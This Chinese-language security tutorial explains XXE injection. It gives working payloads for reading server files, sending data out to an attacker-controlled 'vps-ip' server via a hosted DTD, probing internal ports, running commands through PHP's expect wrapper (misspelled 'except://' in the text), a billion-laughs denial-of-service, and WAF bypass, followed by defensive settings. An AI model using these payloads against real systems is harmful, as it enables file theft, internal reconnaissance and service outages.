对于XXE的理解
字数 1440 2025-08-24 07:48:09
XXE漏洞详解与实战指南
1. XXE漏洞概述
XXE (XML External Entity Injection) 全称为XML外部实体注入漏洞,是一种利用XML解析器处理外部实体时存在的安全漏洞。攻击者通过构造恶意的XML文档,可以读取服务器上的任意文件、执行远程请求、探测内网信息甚至导致拒绝服务攻击。
2. XML基础知识
2.1 XML基本概念
XML (eXtensible Markup Language) 是一种可扩展标记语言,与HTML类似但设计目的不同:
- XML被设计用于传输和存储数据
- XML允许自定义标签和文档结构
- XML文档必须有且只有一个根元素
- XML元素严格区分大小写
2.2 XML文档结构
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!-- XML声明,必须位于第一行 -->
<!-- 处理指令以<?开始,以?>结束 -->
<students>
<student gender="male" isHandsome="true">
<id>001</id>
<name>zhangsan</name>
</student>
</students>
- XML声明:包含version、encoding和standalone属性
- 元素:由开始标签、内容和结束标签组成
- 属性:形式为
属性名="属性值",多个属性用空格分隔 - 注释:使用
<!-- -->包裹,不允许嵌套
2.3 XML实体
实体(ENTITY)用于避免重复输入,分为预定义实体和自定义实体:
预定义实体:
<表示 <>表示 >&表示 &'表示 '"表示 "
自定义实体语法:
<!DOCTYPE 根元素[
<!ENTITY 实体名 "实体内容">
]>
引用实体:
&实体名;
3. DTD详解
DTD (Document Type Definition) 是XML文档的格式规范,也是XXE漏洞的关键所在。
3.1 DTD基本结构
<!DOCTYPE message [
<!ELEMENT message (receiver, sender, header, msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
]>
3.2 DTD的三种应用形式
- 内部DTD:
<!DOCTYPE 根元素[定义内容]>
- 外部DTD:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
- 内外部DTD结合:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
3.3 DTD实体类型
- 内部实体:
<!ENTITY 实体名称 "实体的值">
- 外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
- 参数实体:
<!ENTITY % 实体名称 "值">
<!ENTITY % 实体名称 SYSTEM "URI">
- 公共实体:
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
4. XXE攻击利用方式
4.1 读取任意文件(有回显)
基本payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
实战案例1:picoctf2023 SOAP
- 发现XML处理端点
- 修改Content-Type为
application/xml - 构造payload读取/etc/passwd
实战案例2:[NCTF 2019]Fake XML cookbook
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>&xxe;</username>
<password>11</password>
</user>
4.2 无回显XXE (Blind XXE)
方案1:外带数据到远程服务器
<!-- 攻击者服务器上的evil.dtd -->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">
<!-- 受害者XML -->
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c:/test.txt">
<!ENTITY % dtd SYSTEM "http://vps-ip/evil.dtd">
%dtd;
%all;
%send;
]>
方案2:使用php://filter和base64编码
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://vps-ip/evil.dtd">
%dtd;
%all;
]>
<data>&send;</data>
方案3:端口监听获取数据
<!-- evil.dtd -->
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://vps-ip:3333/%file;'>">
<!-- payload -->
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://vps-ip/evil.dtd">
%aaa;
]>
4.3 命令执行
需要PHP安装expect扩展:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
4.4 内网探测
端口探测:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "http://10.165.89.150:88">
]>
<name>&content;</name>
内网主机探测:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/hosts">
]>
<user>
<username>&xxe;</username>
<password>11</password>
</user>
4.5 DOS攻击
利用实体递归引用导致资源耗尽:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- 继续扩展... -->
]>
<lolz>&lol9;</lolz>
5. 绕过WAF技术
5.1 编码绕过
使用iconv工具转换编码:
iconv -f utf8 -t utf16 1.xml > test.xml
5.2 空格绕过
利用XML对多余空格不敏感的特性:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c:/test/1.txt">
]>
6. 防御措施
-
禁用外部实体解析:
- PHP:
libxml_disable_entity_loader(true); - Java: 设置
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
- PHP:
-
使用安全的XML解析器并配置禁用DTD
-
输入验证和过滤,检测SYSTEM等关键词
-
使用白名单验证XML结构
-
升级XML处理库到最新版本
7. 总结
XXE漏洞危害严重,可以导致敏感信息泄露、服务器端请求伪造(SSRF)、内网探测甚至拒绝服务攻击。防御XXE需要从代码层面和配置层面双重保障,开发人员应充分了解XML处理的安全风险,采取适当的防护措施。